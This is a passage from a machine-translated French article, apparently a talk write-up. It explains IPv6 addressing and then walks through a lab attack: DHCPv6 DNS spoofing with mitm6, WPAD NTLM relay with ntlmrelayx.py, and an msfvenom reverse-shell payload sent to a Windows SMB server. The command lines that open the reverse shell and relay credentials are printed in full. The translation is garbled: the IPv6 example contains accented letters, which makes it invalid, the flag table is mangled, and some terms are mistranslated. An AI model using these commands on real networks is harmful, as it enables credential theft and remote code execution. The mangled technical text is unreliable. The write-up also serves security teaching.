Où insérer un guillemet dans IPv6

IPv6 est une nouvelle version du protocole Internet. Les membres de l'IETF l'ont accepté il y a seulement 22 ans, en 1996. Pendant ce temps, des attaques IPv6 spécifiques ont réussi à apparaître. Le but de cet article, basé sur notre présentation à PHDays 8, est de montrer les possibilités d'une attaque sur les réseaux d'entreprise par un intrus interne utilisant IPv4 et IPv6.



Bases de l'adressage IPv6


La longueur de l'adresse IPv6 est de 128 bits, qui sont écrits au format hexadécimal avec la division de l'adresse entière en 8 groupes. Un exemple d'écriture d'une adresse IPv6:

2001: 0a00: café: bébé: 0001: 0000: 0000: 0011/64

Il existe un enregistrement d'adresse simplifié lorsque plusieurs groupes de zéros suivants peuvent être remplacés par «::», mais une seule fois. Les zéros écrits à gauche dans chaque groupe peuvent être supprimés. Ainsi, l'adresse ci-dessus peut être écrite comme suit:

2001: a00: café: bébé: 1 :: 11/64

La taille standard de la partie hôte délivrée par le fournisseur au client est de 64 bits, dont 4 sont utilisés pour segmenter le réseau en sous-réseaux.



Il existe plusieurs types d'adresses dans IPv6:


La monodiffusion globale est un analogue des adresses publiques en IPv4. Ces adresses sont émises par l' IANA et sont uniques sur Internet. Ces adresses sont dans la plage 2000 :: / 3 (2000 - 3FFF).

Adresses locales (Link-local) - les adresses de la plage FE80 :: / 10 (FE80 - FEBF) sont générées automatiquement par les appareils et sont utilisées pour interagir avec d'autres appareils sur le même réseau local. Le trafic contenant cette adresse en tant qu'expéditeur ou destinataire ne doit pas être acheminé. Ainsi, un périphérique qui prend en charge IPv6 et est connecté au réseau peut immédiatement échanger des informations au sein de son sous-réseau sans aucune configuration.

Adresse de bouclage :: 1 . Cette adresse est similaire à 127.0.0.1 dans IPv4. Les paquets qui lui sont envoyés ne quittent pas l'appareil.

Adresse non spécifiée - l'adresse "::", composée uniquement de zéros. Il est utilisé dans certains cas comme expéditeur jusqu'à la réception de l'adresse.

Adresses locales uniques (Local unique) - un analogue des adresses privées dans IPv4, peuvent être routées au sein du réseau interne de l'organisation, sans possibilité de routage vers Internet. L'espace d'adressage IPv6 est si grand que plus d'un billion d'adresses peuvent être délivrées à chaque personne sur la planète et elles ne se termineront pas. Par conséquent, IPv6 implique l'abandon des adresses privées dans le sens où elles ont été utilisées dans IPv4 en raison d'un manque d'adresses publiques.

Adresses IPv4 mappées sur IPv6 (IPv4 intégré) - Adresses IPv6 commençant par :: ffff: les 32 derniers bits contiennent une adresse IPv4 (:: ffff: xxxx: xxxx, où xxxx: xxxx est l'adresse IPv4 convertie en hexadécimal). Ces adresses sont utilisées pour les périphériques qui ne prennent pas en charge IPv6 et fournissent un moyen de mapper un espace d'adressage IPv4 à un espace d'adressage IPv6.

Adresses de multidiffusion (multidiffusion) - l'un des principaux changements dans IPv6 par rapport à IPv4. Le nouveau protocole a refusé les paquets de diffusion, au lieu de l'adresse de diffusion, les adresses de multidiffusion sont utilisées. Toutes ces adresses sont dans la gamme FF00 :: / 8



Attribution d'adresse IPv6


IPv6 utilise le protocole de découverte de voisinage (ND) ICMPv6 pour obtenir les informations d'adresse. Comme le montre la figure ci-dessous, lorsqu'un nouveau périphérique apparaît sur le réseau IPv6, le périphérique envoie une demande pour obtenir une adresse IPv6 (sollicitation de routeur) à «ff02 :: 2» (tous les routeurs réseau). Le routeur répond avec un message (Annonce du routeur) contenant des informations sur la façon d'obtenir l'adresse IPv6. Selon les indicateurs définis dans le message, il existe trois façons:
Manière d'obtenir l'adresseUn indicateur (Auto)Drapeau O (autre)Drapeau M (géré)
SLAAC (par défaut)100
SLAAC + DHCPv6110
DHCPv60-1

SLAAC (Stateless Address Autoconfiguration) - Dans ce cas, tout ce qui est nécessaire pour générer une adresse IPv6 globale se trouve dans le message RA.

SLAAC + DHCPv6 - Comme dans le cas de SLAAC, l'adresse est générée en fonction des informations contenues dans le paquet RA, mais l'indicateur O est également défini, ce qui signifie Autre configuration, et l'appareil doit contacter le serveur DHCPv6 pour obtenir des paramètres supplémentaires, par exemple, le serveur DNS.

DHCPv6 est un analogue de l'adresse DHCPv4 et toutes les autres informations sont émises par le serveur DHCP, à l'exception de la passerelle par défaut, qui est extraite de l'adresse de l'expéditeur du paquet RA.

Lorsque les indicateurs O et M sont définis en même temps, l'indicateur O est ignoré.


Par exemple, prenez l'utilitaire fake_router26 de la suite d'utilitaires thc -ipv6 . L'image montre qu'après le démarrage, l'adresse IPv6 de la passerelle par défaut a été ajoutée, ce qui est devenu prioritaire par rapport à IPv4.



Attaque!


Dans ce scénario, nous considérerons la possibilité d'une attaque de l'homme du milieu en utilisant le mécanisme d'obtention des paramètres réseau IPv6.

Pour la démonstration, nous avons besoin de 4 voitures:

La machine attaquante est Kali Linux.



La machine serveur sur laquelle les boules d'administration de Windows 7 seront activées.



Un ordinateur client qui aura accès à un serveur Windows 7.



Un routeur avec DHCPv4 activé.

dirkjanm a décrit la méthodologie de ce scénario. Il a écrit l'utilitaire mitm6, qui, en utilisant le protocole ND, envoie des messages de publicité de routeur avec les drapeaux «O» et «M» définis sur «1». Ainsi, les clients savent qu'il est nécessaire de demander des informations d'adresse à un serveur DHCPv6. Les clients commencent à envoyer des messages DHCPv6 SOLICIT pour découvrir le serveur DHCP. L'utilitaire répond aux demandes avec des messages DHCPv6 ADVERTISE; la réponse contient l'adresse de la machine attaquante en tant que serveur DNS.

Demande d'informations d'adresse envoyée à l'adresse de multidiffusion de tous les serveurs DHCP ff02 :: 1: 2

Après cela, en raison des caractéristiques architecturales du système d'exploitation, le DNS DHCPv6 devient une priorité. Désormais, l'attaquant peut répondre à toutes les requêtes DNS avec la bonne adresse. Ainsi, la demande envoyée par le nom de domaine sera envoyée à la discrétion de l'attaquant.

En exécutant mitm6, vous pouvez spécifier le domaine pour lequel remplacer les adresses DNS.





Balles d'administration


Pour améliorer l'effet dramatique, supposons qu'il existe une autre machine sur le réseau sur laquelle l'utilisateur de la première machine est autorisé à se connecter aux boules administratives. Par défaut, ils sont désactivés, mais sur Internet, beaucoup de gens souhaitent savoir comment les activer et sont très heureux lorsqu'ils l'obtiennent.





WPAD (Web Proxy Auto Discovery) est un protocole permettant de déterminer l'emplacement du fichier dans lequel se trouvent les paramètres de proxy par défaut.

Après la mise à jour de MS16-077, le wpad n'est plus fourni via NETBIOS et n'est pas authentifié automatiquement sur le serveur proxy.

Pour contourner ces restrictions, vous pouvez utiliser ntlmrelayx.py, qui fait partie de impacket . Une version supérieure à 0.9.16 est requise, qui inclut la prise en charge IPv6 et la possibilité d'installer un serveur qui rend un wpad valide. Le lancement se fait par l'équipe

ntlmrelayx.py -6 -wh at.localdomain -t smb://192.168.56.7 -e 1.exe 

où 1.exe est la charge utile du shell inversé générée par le métasplit.

 msfvenom -p windows/shell_reverse_tcp LHOST=192.168.56.6 LPORT=444 -f exe -o 1.exe 

le paramètre -wh indique l'hôte où se trouve le fichier wpad (l'utilitaire mitm6 répondra avec l'adresse de l'attaquant à cette demande)





Après la connexion, l'authentification HTTP 407 (authentification proxy requise) sera demandée, auprès de laquelle le navigateur sera automatiquement authentifié.





Les données reçues seront utilisées pour se connecter au smb du serveur attaqué, passé par le paramètre -t.





Je remercie mon co-auteur Sergey Ovchinnikov malchikserega pour son aide dans la préparation de la présentation et de l'article.

Source: https://habr.com/ru/post/fr417285/


All Articles